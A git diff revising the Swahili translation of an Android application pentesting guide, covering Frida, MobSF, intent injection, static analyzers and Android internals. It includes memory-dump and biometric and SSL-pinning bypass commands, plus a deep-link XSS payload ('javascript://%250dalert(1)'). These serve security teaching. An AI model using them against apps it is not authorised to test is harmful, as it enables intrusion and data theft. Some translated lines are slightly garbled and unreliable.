Ni muhimu pia kutafuta hatari za kawaida za wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza hatari hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
### Frida
[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa ajili ya waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\
**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukimbia kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\
Ikiwa unataka kufanya pentest kwa programu za Android unahitaji kujua jinsi ya kutumia Frida.
Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida.
- Jifunze jinsi ya kutumia Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Baadhi ya "GUI" kwa vitendo na Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
@ -437,7 +437,7 @@ Ikiwa unataka kufanya pentest kwa programu za Android unahitaji kujua jinsi ya k
Angalia ikiwa programu inahifadhi taarifa nyeti ndani ya kumbukumbu ambayo haipaswi kuhifadhiwa kama nywila au maneno ya kukumbuka.
Kwa kutumia [**Fridump3**](https://github.com/rootbsd/fridump3) unaweza kutoa kumbukumbu ya programu kwa:
Kwa kutumia [**Fridump3**](https://github.com/rootbsd/fridump3) unaweza kutupa kumbukumbu ya programu kwa:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -468,13 +468,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
### **Picha za Muktadha**
Unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu ilipakiwa haraka.
Unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu imepakiwa haraka.
Hata hivyo, ikiwa picha hii ina **habari nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuchukua habari hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia).
Picha hizo kwa kawaida huhifadhiwa katika: **`/data/system_ce/0/snapshots`**
Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kiparameta cha muundo FLAG_SECURE**. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, na kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama.
Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE**. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, na kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -482,25 +482,25 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
Chombo hiki kinaweza kukusaidia kusimamia zana mbalimbali wakati wa uchambuzi wa dynamic: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Kuingilia kwa Intent
### Uingizaji wa Intent
Wak developers mara nyingi huunda vipengele vya proxy kama shughuli, huduma, na wapokeaji wa matangazo vinavyoshughulikia hizi Intents na kuzipitisha kwa mbinu kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha kuingilia kwa Intents zenye uharibifu.
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuyatekeleza, ambayo yanaweza kusababisha uingizaji wa Intent mbaya.
### Mambo Muhimu ya Kujifunza
- **Kuingilia kwa Intent** ni sawa na tatizo la Open Redirect la wavuti.
- **Uingizaji wa Intent** ni sawa na tatizo la Open Redirect la wavuti.
- Uhalifu unahusisha kupitisha vitu vya `Intent` kama ziada, ambavyo vinaweza kuelekezwa kutekeleza operesheni zisizo salama.
- Inaweza kufichua vipengele visivyoweza kusambazwa na watoa maudhui kwa washambuliaji.
- Kubadilisha URL ya `WebView` kuwa `Intent` kunaweza kuwezesha vitendo visivyokusudiwa.
- Mabadiliko ya URL ya `WebView` kuwa `Intent` yanaweza kuwezesha vitendo visivyokusudiwa.
### Kuingilia kwa Kliendi ya Android na mengineyo
### Uingizaji wa Kando ya Mteja wa Android na mengineyo
Labda unajua kuhusu aina hii ya udhaifu kutoka kwa Wavuti. Lazima uwe makini sana na udhaifu huu katika programu ya Android:
- **SQL Injection:** Unaposhughulika na maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyopangwa.
- **JavaScript Injection (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Uingizaji wa SQL:** Unaposhughulika na maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyowekwa.
- **Uingizaji wa JavaScript (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Ujumuishaji wa Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Kuki za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, kuki haifutwi au inaweza hata kuhifadhiwa kwenye diski.
- [**Lipu la Usalama** katika kuki](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
@ -521,7 +521,7 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Kumbuka kwamba MobSF inaweza kuchambua **Android**(apk)**, IOS**(ipa) **na Windows**(apx) programu (_Programu za Windows lazima zichambuliwe kutoka kwa MobSF iliyosakinishwa kwenye mwenyeji wa Windows_).\
Pia, ikiwa utaunda **ZIP** faili yenye msimbo wa chanzo wa programu ya **Android** au **IOS** (nenda kwenye folda ya mzizi ya programu, chagua kila kitu na uunde faili la ZIP), itakuwa na uwezo wa kuchambua pia.
Pia, ikiwa utaunda **ZIP** faili yenye msimbo wa chanzo wa programu ya **Android** au **IOS** (nenda kwenye folda ya mzizi ya programu, chagua kila kitu na uunde faili la ZIP), itakuwa na uwezo wa kuichambua pia.
MobSF pia inakuwezesha **diff/Compare** uchambuzi na kuunganisha **VirusTotal** (utahitaji kuweka funguo yako ya API katika _MobSF/settings.py_ na kuifanya iweze: `VT_ENABLED = TRUE` `VT_API_KEY = <Funguo yako ya API>` `VT_UPLOAD = TRUE`). Unaweza pia kuweka `VT_UPLOAD` kuwa `False`, kisha **hash** itakuwa **upload** badala ya faili.
@ -538,11 +538,11 @@ Kuanzia toleo la android **> 5**, itaanza **Frida** kiotomatiki na kuweka mipang
**Frida**
Kwa kawaida, itatumia pia baadhi ya Scripts za Frida ili **kuepuka SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na **kufuatilia APIs za kuvutia**.\
MobSF pia inaweza **kuitisha shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti.
Kwa kawaida, itatumia baadhi ya Scripts za Frida ili **kupita SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na **kufuatilia APIs za kuvutia**.\
MobSF pia inaweza **kuita shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti.
Ili **kuanza** upimaji wa dynamic bonyeza kitufe kibichi: "**Start Instrumentation**". Bonyeza "**Frida Live Logs**" kuona logs zinazozalishwa na scripts za Frida na "**Live API Monitor**" kuona kila mwito kwa mbinu zilizoshikiliwa, hoja zilizopitishwa na thamani zilizorejeshwa (hii itaonekana baada ya kubonyeza "Start Instrumentation").\
MobSF pia inakuwezesha kupakia **scripts za Frida** zako mwenyewe (ili kutuma matokeo ya scripts zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **scripts kadhaa zilizandikwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zile**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logs za hizo scripts ndani ya "**Frida Live Logs**").
MobSF pia inakuwezesha kupakia **scripts zako za Frida** (ili kutuma matokeo ya scripts zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **scripts kadhaa zilizotayarishwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zile**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logs za hizo scripts ndani ya "**Frida Live Logs**").
![](<../../images/image (419).png>)
@ -576,7 +576,7 @@ Ili kufanya hivyo, _washa Burp -->_ _zimisha Intercept --> katika MobSB HTTPTool
Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz maombi ya http** na kutafuta udhaifu.
> [!NOTE]
> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa imepangwa vibaya na huwezi kuziweka sawa kutoka kwa GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa na makosa na huwezi kuziweka sawa kutoka kwa GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
>
> ```
> adb shell settings put global http_proxy :0
@ -595,7 +595,7 @@ Hii ni **chombo kizuri kufanya uchambuzi wa static na GUI**
### [Qark](https://github.com/linkedin/qark)
Chombo hiki kimeundwa kutafuta **udhaifu kadhaa zinazohusiana na usalama wa programu za Android**, iwe katika **kanuni ya chanzo** au **APKs zilizopakiwa**. Chombo hiki pia ni **capable of creating a "Proof-of-Concept" deployable APK** na **ADB commands**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizo wazi, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa cha mtihani.
Chombo hiki kimeundwa kutafuta **udhaifu kadhaa zinazohusiana na usalama wa programu za Android**, iwe katika **kanuni ya chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizofichuliwa, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa cha mtihani.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -615,11 +615,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER ni programu ya amri inayoweza kutumika katika Windows, MacOS X na Linux, inayochambua faili za _.apk_ kutafuta udhaifu. Inafanya hivyo kwa kubonyeza APKs na kutumia mfululizo wa sheria kugundua udhaifu hizo.
SUPER ni programu ya amri ambayo inaweza kutumika katika Windows, MacOS X na Linux, inayochambua faili za _.apk_ kutafuta udhaifu. Inafanya hivyo kwa kubonyeza APKs na kutumia mfululizo wa sheria kugundua udhaifu hizo.
Sheria zote zinazingatia faili ya `rules.json`, na kila kampuni au mtathmini anaweza kuunda sheria zake mwenyewe kuchambua kile wanachohitaji.
Pakua binaries za hivi punde kutoka kwenye [download page](https://superanalyzer.rocks/download.html)
Pakua binaries za hivi karibuni kutoka kwenye [download page](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@ -637,7 +637,7 @@ Pakua [latest release](https://github.com/vincentcox/StaCoAn/releases):
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android ambao unawasaidia waendelezaji au hackers kutafuta udhaifu wa usalama unaoweza kuwepo katika programu za Android.\
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android ambao unawasaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -686,7 +686,7 @@ ProGuard inasambazwa kama sehemu ya Android SDK na inafanya kazi wakati wa kujen
Pata mwongozo wa hatua kwa hatua wa kuondoa obfuscation ya apk katika [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Kutoka kwa mwongozo huo) Mara ya mwisho tulipoangalia, hali ya uendeshaji ya Dexguard ilikuwa:
(Kutoka kwa mwongozo huo) Mara ya mwisho tulipokagua, hali ya uendeshaji ya Dexguard ilikuwa:
- kupakia rasilimali kama InputStream;
- kutoa matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuyafungua;
@ -702,7 +702,7 @@ Unaweza kupakia APK iliyokuwa obfuscated kwenye jukwaa lao.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Hii ni zana ya LLM ya kutafuta udhaifu wowote wa usalama katika programu za android na kuondoa obfuscation ya msimbo wa programu za android. Inatumia API ya umma ya Gemini ya Google.
Hii ni zana ya LLM kutafuta udhaifu wowote wa usalama katika programu za android na kuondoa obfuscation ya msimbo wa programu za android. Inatumia API ya umma ya Gemini ya Google.
### [Simplify](https://github.com/CalebFenton/simplify)

View File

@ -11,11 +11,11 @@
### Kutenganisha UID
**Kila programu inapewa Kitambulisho Maalum cha Mtumiaji**. Hii inafanywa wakati wa usakinishaji wa programu ili **programu iweze kuingiliana tu na faili zinazomilikiwa na Kitambulisho chake cha Mtumiaji au faili zilizoshirikiwa**. Hivyo, ni programu yenyewe tu, vipengele fulani vya OS na mtumiaji wa root wanaweza kufikia data za programu.
**Kila programu inapewa Kitambulisho Maalum cha Mtumiaji (UID)**. Hii inafanywa wakati wa usakinishaji wa programu ili **programu iweze kuingiliana tu na faili zinazomilikiwa na Kitambulisho chake cha Mtumiaji au faili zilizoshirikiwa**. Hivyo, ni programu yenyewe tu, vipengele fulani vya OS na mtumiaji wa root wanaweza kufikia data za programu.
### Kushiriki UID
**Programu mbili zinaweza kuwekewa mipangilio kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki taarifa, lakini ikiwa moja yao itashambuliwa, data za programu zote mbili zitakuwa hatarini. Hii ndiyo sababu tabia hii inachukuliwa **kama si nzuri**.\
**Programu mbili zinaweza kuwekewa mipangilio kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki taarifa, lakini ikiwa moja yao itashambuliwa, data za programu zote mbili zitakuwa hatarini. Hii ndiyo sababu tabia hii inachukuliwa kuwa **haifai**.\
**Ili kushiriki UID sawa, programu lazima zifanye maelezo sawa ya `android:sharedUserId` katika hati zao.**
### Sandboxing
@ -25,7 +25,7 @@ Kuanzia Android 5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwin
### Ruhusa
Wakati unaposakinisha **programu na inahitaji ruhusa**, programu inahitaji ruhusa zilizowekwa katika **`uses-permission`** vipengele katika **AndroidManifest.xml** faili. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya **attribute** **name**. Pia ina **maxSdkVersion** attribute ambayo inazuia kuomba ruhusa kwenye toleo lililo juu ya lile lililotajwa.\
Wakati unaposakinisha **programu na inahitaji ruhusa**, programu inahitaji ruhusa zilizowekwa katika **`uses-permission`** vipengele katika **AndroidManifest.xml** faili. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya **attribute** **name**. Pia ina **maxSdkVersion** attribute ambayo inakomesha kuomba ruhusa kwenye toleo lililo juu ya lile lililotajwa.\
Kumbuka kwamba programu za android hazihitaji kuomba ruhusa zote mwanzoni, zinaweza pia **kuomba ruhusa kwa njia ya kidinamik** lakini ruhusa zote lazima **zitangazwe** katika **manifest**.
Wakati programu inafichua kazi inaweza kupunguza **ufikiaji kwa programu tu ambazo zina ruhusa maalum**.\
@ -41,7 +41,7 @@ Kipengele cha ruhusa kina attributes tatu:
## Programu Zilizowekwa Kabla
Programu hizi kwa kawaida hupatikana katika **`/system/app`** au **`/system/priv-app`** directories na baadhi yao zime **boreshwa** (huenda usipate hata faili ya `classes.dex`). Programu hizi zinastahili kuangaliwa kwa sababu wakati mwingine zinaweza kuwa **zinakimbia na ruhusa nyingi sana** (kama root).
Programu hizi kwa ujumla hupatikana katika **`/system/app`** au **`/system/priv-app`** directories na baadhi yao zime **boreshwa** (huenda usipate hata faili ya `classes.dex`). Programu hizi zinastahili kuangaliwa kwa sababu wakati mwingine zinaweza kuwa **zinakimbia na ruhusa nyingi sana** (kama root).
- Zile zinazokuja na **AOSP** (Android OpenSource Project) **ROM**
- Zilizoongezwa na **mtengenezaji wa kifaa**
@ -49,24 +49,24 @@ Programu hizi kwa kawaida hupatikana katika **`/system/app`** au **`/system/priv
## Rooting
Ili kupata ufikiaji wa root kwenye kifaa halisi cha android kwa kawaida unahitaji **kuchokoza** 1 au 2 **vulnerabilities** ambazo huwa **maalum** kwa **kifaa** na **toleo**.\
Ili kupata ufikiaji wa root kwenye kifaa halisi cha android kwa ujumla unahitaji **kuchokoza** 1 au 2 **vulnerabilities** ambazo huwa **maalum** kwa **kifaa** na **toleo**.\
Mara baada ya kuchokoza kufanya kazi, kwa kawaida faili ya `su` ya Linux inakopishwa kwenye eneo lililotajwa katika PATH env variable ya mtumiaji kama `/system/xbin`.
Mara baada ya faili ya su kuwekwa, programu nyingine ya Android inatumika kuungana na faili ya `su` na **kusindika maombi ya ufikiaji wa root** kama **Superuser** na **SuperSU** (inapatikana kwenye Google Play store).
Mara baada ya faili ya su kuwekwa, programu nyingine ya Android inatumika kuingiliana na faili ya `su` na **kusindika maombi ya ufikiaji wa root** kama **Superuser** na **SuperSU** (inapatikana kwenye Google Play store).
> [!CAUTION]
> Kumbuka kwamba mchakato wa rooting ni hatari sana na unaweza kuharibu kifaa vibaya.
> Kumbuka kwamba mchakato wa rooting ni hatari sana na unaweza kuharibu kifaa vibaya
### ROMs
Inawezekana **kurekebisha OS kwa kusakinisha firmware maalum**. Kufanya hivi kunawezesha kuongeza matumizi ya kifaa cha zamani, kupita vizuizi vya programu au kupata ufikiaji wa msimbo wa hivi punde wa Android.\
**OmniROM** na **LineageOS** ni mbili ya firmware maarufu zaidi za kutumia.
Kumbuka kwamba **sio kila wakati ni lazima ku-root kifaa** ili kusakinisha firmware maalum. **Wazalishaji wengine wanaruhusu** kufungua bootloaders zao kwa njia iliyoandikwa vizuri na salama.
Kumbuka kwamba **sio kila wakati ni lazima ku-root kifaa** ili kusakinisha firmware maalum. **Wakati mwingine watengenezaji wanaruhusu** kufungua bootloaders zao kwa njia iliyoandikwa vizuri na salama.
### Madhara
Mara kifaa kinapokuwa kime-rooted, programu yoyote inaweza kuomba ufikiaji kama root. Ikiwa programu mbaya itapata ufikiaji huo, itakuwa na ufikiaji wa karibu kila kitu na itakuwa na uwezo wa kuharibu simu.
Mara kifaa kinapokuwa kime-rooted, programu yoyote inaweza kuomba ufikiaji kama root. Ikiwa programu mbaya itapata hiyo, itakuwa na ufikiaji wa karibu kila kitu na itakuwa na uwezo wa kuharibu simu.
## Msingi wa Programu za Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
@ -95,7 +95,7 @@ Mara kifaa kinapokuwa kime-rooted, programu yoyote inaweza kuomba ufikiaji kama
Katika maendeleo ya Android, **Java au Kotlin** inatumika kwa kuunda programu. Badala ya kutumia JVM kama katika programu za desktop, Android inakusanya msimbo huu kuwa **Dalvik Executable (DEX) bytecode**. Awali, mashine ya virtual ya Dalvik ilishughulikia bytecode hii, lakini sasa, Android Runtime (ART) inachukua jukumu katika toleo jipya la Android.
Kwa ajili ya uhandisi wa nyuma, **Smali** inakuwa muhimu. Ni toleo linaloweza kusomeka na binadamu la bytecode ya DEX, likifanya kazi kama lugha ya assembly kwa kutafsiri msimbo wa chanzo kuwa maagizo ya bytecode. Smali na baksmali zinarejelea zana za mkusanyiko na uondoshaji katika muktadha huu.
Kwa ajili ya uhandisi wa nyuma, **Smali** inakuwa muhimu. Ni toleo linaloweza kusomeka na binadamu la bytecode ya DEX, likifanya kazi kama lugha ya assembly kwa kutafsiri msimbo wa chanzo kuwa maagizo ya bytecode. Smali na baksmali zinarejelea zana za assembly na disassembly katika muktadha huu.
## Intents
@ -105,10 +105,10 @@ Hivyo, Intent kimsingi ni **ujumbe unaopita kati ya vipengele**. Intents **zinaw
Ili kuwa rahisi, Intent inaweza kutumika:
- Kuanzisha Activity, kwa kawaida kufungua kiolesura cha mtumiaji kwa programu
- Kama matangazo ya kuarifu mfumo na programu kuhusu mabadiliko
- Kama matangazo ili kuarifu mfumo na programu kuhusu mabadiliko
- Kuanzisha, kusitisha, na kuwasiliana na huduma ya nyuma
- Kupata data kupitia ContentProviders
- Kama kurudi nyuma kushughulikia matukio
- Kama callbacks kushughulikia matukio
Ikiwa ni hatari, **Intents zinaweza kutumika kufanya mashambulizi mbalimbali**.
@ -116,9 +116,9 @@ Ikiwa ni hatari, **Intents zinaweza kutumika kufanya mashambulizi mbalimbali**.
**Kichujio cha Intents** kinaelezea **jinsi shughuli, huduma, au Mpokeaji wa Matangazo unaweza kuingiliana na aina tofauti za Intents**. Kimsingi, zinaelezea uwezo wa vipengele hivi, kama vile ni vitendo gani wanaweza kufanya au aina gani za matangazo wanaweza kushughulikia. Mahali kuu pa kutangaza vichujio hivi ni ndani ya **faili ya AndroidManifest.xml**, ingawa kwa Mpokeaji wa Matangazo, kuandika ni chaguo pia.
Vichujio vya Intents vinajumuisha makundi, vitendo, na vichujio vya data, huku kukiwa na uwezekano wa kujumuisha metadata ya ziada. Mpango huu unaruhusu vipengele kushughulikia Intents maalum zinazolingana na vigezo vilivyotangazwa.
Vichujio vya Intents vinajumuisha makundi, vitendo, na vichujio vya data, huku kukiwa na uwezekano wa kujumuisha metadata ya ziada. Mpangilio huu unaruhusu vipengele kushughulikia Intents maalum zinazolingana na vigezo vilivyotangazwa.
Nafasi muhimu ya vipengele vya Android (shughuli/huduma/watoa maudhui/mpokeaji wa matangazo) ni mwonekano wao au **hadhi ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa kime **`exported`** na thamani ya **`true`** au ikiwa kichujio cha Intent kimewekwa kwa ajili yake katika hati. Hata hivyo, kuna njia kwa waendelezaji kuweka vipengele hivi kuwa binafsi, kuhakikisha havihusiani na programu nyingine bila kukusudia. Hii inafanywa kwa kuweka **`exported`** attribute kuwa **`false`** katika maelezo yao ya hati.
Sehemu muhimu ya vipengele vya Android (shughuli/huduma/watoa maudhui/mpokeaji wa matangazo) ni mwonekano wao au **hadhi ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa kime **`exported`** na thamani ya **`true`** au ikiwa kichujio cha Intent kimewekwa kwa ajili yake katika hati. Hata hivyo, kuna njia kwa waendelezaji kuweka vipengele hivi kuwa binafsi, kuhakikisha havihusiani na programu nyingine bila kukusudia. Hii inafanywa kwa kuweka **`exported`** attribute kuwa **`false`** katika maelezo yao ya hati.
Zaidi ya hayo, waendelezaji wana chaguo la kuimarisha ufikiaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. **`permission`** attribute inaweza kuwekwa ili kuhakikisha kwamba ni programu pekee zenye ruhusa iliyotolewa zinaweza kufikia kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya nani anaweza kuingiliana nayo.
```java
@ -132,7 +132,7 @@ Intents huundwa kimaandishi kwa kutumia mjenzi wa Intent:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
**Hatua** ya nia iliyotangazwa hapo awali ni **ACTION_SEND** na **Ziada** ni mailto **Uri** (Ziada ikiwa ni taarifa ya ziada ambayo nia inatarajia).
**Kitendo** cha nia iliyotangazwa hapo awali ni **ACTION_SEND** na **Ziada** ni mailto **Uri** (Ziada ikiwa ni taarifa ya ziada ambayo nia inatarajia).
Nia hii inapaswa kutangazwa ndani ya hati kama ilivyo katika mfano ufuatao:
```xml
@ -165,7 +165,7 @@ Hizi zinawaruhusu programu nyingine **kuchukua hatua kwa niaba ya programu yako*
### Broadcast Intents
Kinyume na intents za awali, ambazo zinapokelewa na programu moja tu, broadcast intents **zinaweza kupokelewa na programu nyingi**. Hata hivyo, kuanzia toleo la API 14, ni **mpossible kuweka programu ambayo inapaswa kupokea** ujumbe kwa kutumia Intent.set Package.
Kinyume na intents za awali, ambazo zinapokelewa na programu moja tu, broadcast intents **zinaweza kupokelewa na programu nyingi**. Hata hivyo, kuanzia toleo la API 14, ni **mpossible kuweka programu ambayo inapaswa kupokea** ujumbe kwa kutumia Intent.setPackage.
Vinginevyo, pia inawezekana **kueleza ruhusa wakati wa kutuma matangazo**. Programu inayopokea itahitaji kuwa na ruhusa hiyo.
@ -211,32 +211,32 @@ Ili kuipata kutoka kwenye wavuti, inawezekana kuweka kiungo kama:
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
```
Ili kupata **code itakayotekelezwa katika App**, nenda kwenye shughuli inayoitwa na deeplink na tafuta kazi **`onNewIntent`**.
Ili kupata **kanuni itakayotekelezwa katika App**, nenda kwenye shughuli inayoitwa na deeplink na tafuta kazi **`onNewIntent`**.
Jifunze jinsi ya [kuita deep links bila kutumia kurasa za HTML](#exploiting-schemes-deep-links).
## AIDL - Android Interface Definition Language
**Android Interface Definition Language (AIDL)** imeundwa ili kuwezesha mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa upatikanaji wa kumbukumbu za mchakato mwingine moja kwa moja haukubaliki kwenye Android, AIDL inarahisisha mchakato kwa kuhamasisha vitu katika muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
**Android Interface Definition Language (AIDL)** imeundwa ili kuwezesha mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa upatikanaji wa kumbukumbu ya mchakato mwingine moja kwa moja haukubaliki kwenye Android, AIDL inarahisisha mchakato kwa kuhamasisha vitu katika muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
### Mifano Muhimu
- **Huduma Zilizofungwa**: Huduma hizi hutumia AIDL kwa IPC, zikiwezesha shughuli au vipengele kuungana na huduma, kufanya maombi, na kupokea majibu. Njia ya `onBind` katika darasa la huduma ni muhimu kwa kuanzisha mwingiliano, ikionyesha kama eneo muhimu la ukaguzi wa usalama kutafuta udhaifu.
- **Huduma Zilizofungwa**: Huduma hizi hutumia AIDL kwa IPC, zikiwezesha shughuli au vipengele kuungana na huduma, kufanya maombi, na kupokea majibu. Njia ya `onBind` katika darasa la huduma ni muhimu kwa kuanzisha mwingiliano, ikifanya kuwa eneo muhimu kwa ukaguzi wa usalama kutafuta udhaifu.
- **Messenger**: Ikifanya kazi kama huduma iliyo fungwa, Messenger inarahisisha IPC kwa kuzingatia usindikaji wa data kupitia njia ya `onBind`. Ni muhimu kukagua njia hii kwa karibu kwa usimamizi usio salama wa data au utekelezaji wa kazi nyeti.
- **Messenger**: Ikifanya kazi kama huduma iliyo fungwa, Messenger inarahisisha IPC kwa kuzingatia usindikaji wa data kupitia njia ya `onBind`. Ni muhimu kukagua njia hii kwa karibu kwa usimamizi wowote usio salama wa data au utekelezaji wa kazi nyeti.
- **Binder**: Ingawa matumizi ya moja kwa moja ya darasa la Binder si ya kawaida sana kutokana na ufafanuzi wa AIDL, ni muhimu kuelewa kwamba Binder inafanya kazi kama dereva wa kiwango cha kernel unawezesha uhamasishaji wa data kati ya maeneo ya kumbukumbu ya michakato tofauti. Kwa ufahamu zaidi, rasilimali inapatikana kwenye [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
## Vipengele
Hizi ni pamoja na: **Shughuli, Huduma, Vastika za Matangazo na Watoa Huduma.**
Hivi ni pamoja na: **Shughuli, Huduma, Vastika za Matangazo na Watoa Huduma.**
### Shughuli ya Kuanza na shughuli nyingine
Katika programu za Android, **shughuli** ni kama skrini, zikionyesha sehemu tofauti za kiolesura cha mtumiaji wa programu. Programu inaweza kuwa na shughuli nyingi, kila moja ikionyesha skrini ya kipekee kwa mtumiaji.
**Shughuli ya kuanzisha** ni lango kuu la programu, inayozinduliwa unapobofya ikoni ya programu. Imefafanuliwa katika faili ya manifest ya programu kwa nia maalum za MAIN na LAUNCHER:
```markup
```html
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@ -246,7 +246,7 @@ Katika programu za Android, **shughuli** ni kama skrini, zikionyesha sehemu tofa
```
Sio programu zote zinahitaji shughuli ya kuanzisha, hasa zile zisizo na kiolesura cha mtumiaji, kama huduma za nyuma.
